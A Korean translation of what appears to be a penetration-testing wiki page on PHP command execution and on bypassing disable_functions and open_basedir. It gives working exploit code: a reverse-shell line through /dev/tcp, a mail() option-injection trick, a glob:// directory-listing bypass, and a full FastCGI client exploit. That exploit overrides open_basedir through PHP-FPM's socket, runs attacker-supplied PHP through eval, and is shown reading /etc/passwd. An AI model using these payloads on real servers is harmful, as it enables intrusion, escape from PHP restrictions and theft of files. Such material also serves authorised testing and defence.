PHP - ์œ ์šฉํ•œ ํ•จ์ˆ˜ ๋ฐ disable_functions/open_basedir ์šฐํšŒ

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PHP ๋ช…๋ น ๋ฐ ์ฝ”๋“œ ์‹คํ–‰

PHP ๋ช…๋ น ์‹คํ–‰

์ฐธ๊ณ : p0wny-shell php ์›น์‰˜์€ ์ผ๋ถ€ ๊ธฐ๋Šฅ์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ์ž๋™์œผ๋กœ ๋‹ค์Œ ๊ธฐ๋Šฅ์„ ํ™•์ธํ•˜๊ณ  ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

exec - ๋ช…๋ น ์ถœ๋ ฅ์˜ ๋งˆ์ง€๋ง‰ ์ค„์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

echo exec("uname  -a");

passthru - ๋ช…๋ น์˜ ์ถœ๋ ฅ์„ ๋ธŒ๋ผ์šฐ์ €์— ์ง์ ‘ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

echo passthru("uname -a");

system - ๋ช…๋ น์–ด ์ถœ๋ ฅ์„ ๋ธŒ๋ผ์šฐ์ €์— ์ง์ ‘ ์ „๋‹ฌํ•˜๊ณ  ๋งˆ์ง€๋ง‰ ์ค„์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

echo system("uname -a");

shell_exec - ๋ช…๋ น์˜ ์ถœ๋ ฅ์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

echo shell_exec("uname -a");

`` (๋ฐฑํ‹ฑ) - shell_exec()์™€ ๋™์ผํ•ฉ๋‹ˆ๋‹ค.

echo `uname -a`

popen - ๋ช…๋ น์˜ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๋˜๋Š” ์“ฐ๊ธฐ ํŒŒ์ดํ”„๋ฅผ ์—ฝ๋‹ˆ๋‹ค.

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - popen()๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ ๋” ๋†’์€ ์ˆ˜์ค€์˜ ์ œ์–ด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (๊ธฐ๋ณธ์ ์œผ๋กœ ์ตœ์‹  ๋ฐ ๊ตฌํ˜• PHP์—์„œ๋Š” ์ด ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด pcntl.so ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - ์ด ํ•จ์ˆ˜๋Š” ๋ฉ”์ผ์„ ๋ณด๋‚ด๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์ง€๋งŒ, $options ๋งค๊ฐœ๋ณ€์ˆ˜์— ์ž„์˜์˜ ๋ช…๋ น์„ ์ฃผ์ž…ํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” php mail ํ•จ์ˆ˜๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ์‹œ์Šคํ…œ ๋‚ด์˜ sendmail ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์ถ”๊ฐ€ ์˜ต์…˜์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์‹คํ–‰๋œ ๋ช…๋ น์˜ ์ถœ๋ ฅ์„ ๋ณผ ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, ์ถœ๋ ฅ์„ ํŒŒ์ผ์— ๊ธฐ๋กํ•˜๋Š” ์…ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“ค๊ณ , ๋ฉ”์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํ–‰ํ•œ ํ›„ ์ถœ๋ ฅ์„ ์ธ์‡„ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - ์ด ํ•จ์ˆ˜๋Š” PHP ํ™•์žฅ์„ ๋™์ ์œผ๋กœ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ํ•ญ์ƒ ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ์ด๋ฅผ ์•…์šฉํ•˜๊ธฐ ์ „์— ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด ์ด ํ•จ์ˆ˜๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”.

PHP ์ฝ”๋“œ ์‹คํ–‰

eval ์™ธ์—๋„ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค: include/require๋Š” ๋กœ์ปฌ ํŒŒ์ผ ํฌํ•จ(Local File Include) ๋ฐ ์›๊ฒฉ ํŒŒ์ผ ํฌํ•จ(Remote File Include) ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

๋น„ํ™œ์„ฑํ™”๋œ ํ•จ์ˆ˜๋Š” PHP์˜ .ini ํŒŒ์ผ์—์„œ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ์„ค์ •์œผ๋กœ, ์ง€์ •๋œ ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ์„ ๊ธˆ์ง€ํ•ฉ๋‹ˆ๋‹ค. Open basedir๋Š” PHP์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํด๋”๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ์„ค์ •์ž…๋‹ˆ๋‹ค.
PHP ์„ค์ •์€ /etc/php7/conf.d ๋˜๋Š” ์œ ์‚ฌํ•œ ๊ฒฝ๋กœ์—์„œ ๊ตฌ์„ฑ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋‘ ๊ฐ€์ง€ ๊ตฌ์„ฑ์€ **phpinfo()**์˜ ์ถœ๋ ฅ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

open_basedir Bypass

open_basedir๋Š” PHP๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํด๋”๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉฐ, ํ•ด๋‹น ํด๋” ์™ธ๋ถ€์˜ ํŒŒ์ผ์„ ์ฝ๊ธฐ/์“ฐ๊ธฐ/์‹คํ–‰ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋‹ค๋ฅธ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋‚˜์—ดํ•  ์ˆ˜๋„ ์—†์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ๋งŒ์•ฝ ์–ด๋–ค ๋ฐฉ๋ฒ•์œผ๋กœ๋“  ์ž„์˜์˜ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ์˜ ์ฝ”๋“œ ์กฐ๊ฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ œํ•œ์„ ์šฐํšŒํ•ด ๋ณด์‹ญ์‹œ์˜ค.

glob:// ์šฐํšŒ๋กœ ๋””๋ ‰ํ† ๋ฆฌ ๋‚˜์—ดํ•˜๊ธฐ

์ด ์ฒซ ๋ฒˆ์งธ ์˜ˆ์ œ์—์„œ๋Š” glob:// ํ”„๋กœํ† ์ฝœ๊ณผ ์ผ๋ถ€ ๊ฒฝ๋กœ ์šฐํšŒ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Note1: ๊ฒฝ๋กœ์—์„œ /e??/*๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ /etc/* ๋ฐ ๊ธฐํƒ€ ํด๋”๋ฅผ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Note2: ์ฝ”๋“œ์˜ ์ผ๋ถ€๊ฐ€ ์ค‘๋ณต๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š” ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค!
Note3: ์ด ์˜ˆ์ œ๋Š” ํŒŒ์ผ์„ ์ฝ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ํด๋”๋ฅผ ๋‚˜์—ดํ•˜๋Š” ๋ฐ๋งŒ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

Full open_basedir bypass abusing FastCGI

PHP-FPM ๋ฐ FastCGI์— ๋Œ€ํ•ด ๋” ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด ์ด ํŽ˜์ด์ง€์˜ ์ฒซ ๋ฒˆ์งธ ์„น์…˜์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
**php-fpm**์ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ open_basedir๋ฅผ ์™„์ „ํžˆ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋จผ์ € ํ•ด์•ผ ํ•  ์ผ์€ php-fpm์˜ ์œ ๋‹‰์Šค ์†Œ์ผ“์ด ์–ด๋””์— ์žˆ๋Š”์ง€ ์ฐพ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ /var/run ์•„๋ž˜์— ์žˆ์œผ๋ฏ€๋กœ ์ด์ „ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋‚˜์—ดํ•˜๊ณ  ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์—ฌ๊ธฐ์„œ ์ฝ”๋“œ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

์ด ์Šคํฌ๋ฆฝํŠธ๋Š” php-fpm์˜ ์œ ๋‹‰์Šค ์†Œ์ผ“๊ณผ ํ†ต์‹ ํ•˜์—ฌ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. open_basedir ์„ค์ •์€ ์ „์†ก๋œ PHP_VALUE ์†์„ฑ์— ์˜ํ•ด ๋ฎ์–ด์”Œ์›Œ์ง‘๋‹ˆ๋‹ค.
cmd ๋งค๊ฐœ๋ณ€์ˆ˜ ๋‚ด์—์„œ ์ „์†กํ•œ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด eval์ด ์‚ฌ์šฉ๋˜๋Š” ๋ฐฉ์‹์„ ์ฃผ๋ชฉํ•˜์„ธ์š”.
๋˜ํ•œ ์ฃผ์„ ์ฒ˜๋ฆฌ๋œ 324๋ฒˆ์งธ ์ค„์„ ์ฃผ๋ชฉํ•˜์„ธ์š”. ์ด ์ค„์˜ ์ฃผ์„์„ ํ•ด์ œํ•˜๋ฉด ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ฃผ์–ด์ง„ URL์— ์ž๋™์œผ๋กœ ์—ฐ๊ฒฐ๋˜์–ด ๊ทธ๊ณณ์— ํฌํ•จ๋œ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');์— ์ ‘๊ทผํ•˜์—ฌ /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๊ฐ€์ ธ์˜ค์„ธ์š”.

Warning

open_basedir ๊ตฌ์„ฑ์„ ๋ฎ์–ด์“ด ๊ฒƒ๊ณผ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ **disable_functions**๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž˜ ํ•ด๋ณด์„ธ์š”, ํ•˜์ง€๋งŒ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. disable_functions๋Š” .ini php ๊ตฌ์„ฑ ํŒŒ์ผ์—์„œ๋งŒ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, PHP_VALUE๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ณ€๊ฒฝ ์‚ฌํ•ญ์€ ์ด ํŠน์ • ์„ค์ •์— ํšจ๊ณผ์ ์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

disable_functions ์šฐํšŒ

PHP ์ฝ”๋“œ๊ฐ€ ๋จธ์‹  ๋‚ด์—์„œ ์‹คํ–‰๋˜๊ณ  ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ๋‚˜์•„๊ฐ€ ์ž„์˜์˜ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ณ  ์‹ถ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์ƒํ™ฉ์—์„œ๋Š” ๋Œ€๋ถ€๋ถ„ ๋˜๋Š” ๋ชจ๋“  PHP ํ•จ์ˆ˜๊ฐ€ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๋„๋ก ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ์ด ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค(๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด).

์ž๋™ ์šฐํšŒ ๋ฐœ๊ฒฌ

https://github.com/teambi0s/dfunc-bypasser ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **disable_functions**๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜(์žˆ๋Š” ๊ฒฝ์šฐ)๋ฅผ ์•Œ๋ ค์ค๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์‹œ์Šคํ…œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ ์šฐํšŒ

์ด ํŽ˜์ด์ง€์˜ ์‹œ์ž‘์œผ๋กœ ๋Œ์•„๊ฐ€์„œ ๋ช…๋ น ์‹คํ–‰ ํ•จ์ˆ˜ ์ค‘ ๋น„ํ™œ์„ฑํ™”๋˜์ง€ ์•Š๊ณ  ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ทธ ์ค‘ ํ•˜๋‚˜๋ผ๋„ ์ฐพ์œผ๋ฉด ์ž„์˜์˜ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

LD_PRELOAD ์šฐํšŒ

mail()๊ณผ ๊ฐ™์€ PHP์˜ ์ผ๋ถ€ ํ•จ์ˆ˜๊ฐ€ ์‹œ์Šคํ…œ ๋‚ด์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ์€ ์ž˜ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ LD_PRELOAD๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋“ค์„ ์•…์šฉํ•˜์—ฌ ์ž„์˜์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

LD_PRELOAD๋กœ disable_functions๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜

  • mail
  • mb_send_mail: php-mbstring ๋ชจ๋“ˆ์ด ์„ค์น˜๋œ ๊ฒฝ์šฐ ํšจ๊ณผ์ ์ž…๋‹ˆ๋‹ค.
  • imap_mail: php-imap ๋ชจ๋“ˆ์ด ์žˆ๋Š” ๊ฒฝ์šฐ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
  • libvirt_connect: php-libvirt-php ๋ชจ๋“ˆ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • gnupg_init: php-gnupg ๋ชจ๋“ˆ์ด ์„ค์น˜๋œ ๊ฒฝ์šฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • new imagick(): ์ด ํด๋ž˜์Šค๋Š” ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์•…์šฉ ๊ธฐ์ˆ ์€ ํฌ๊ด„์ ์ธ ์—ฌ๊ธฐ์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ํ•จ์ˆ˜๋“ค์„ ์ฐพ๋Š” ๋ฐ ์‚ฌ์šฉ๋œ ํผ์ง• ์Šคํฌ๋ฆฝํŠธ๋Š” ์—ฌ๊ธฐ์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

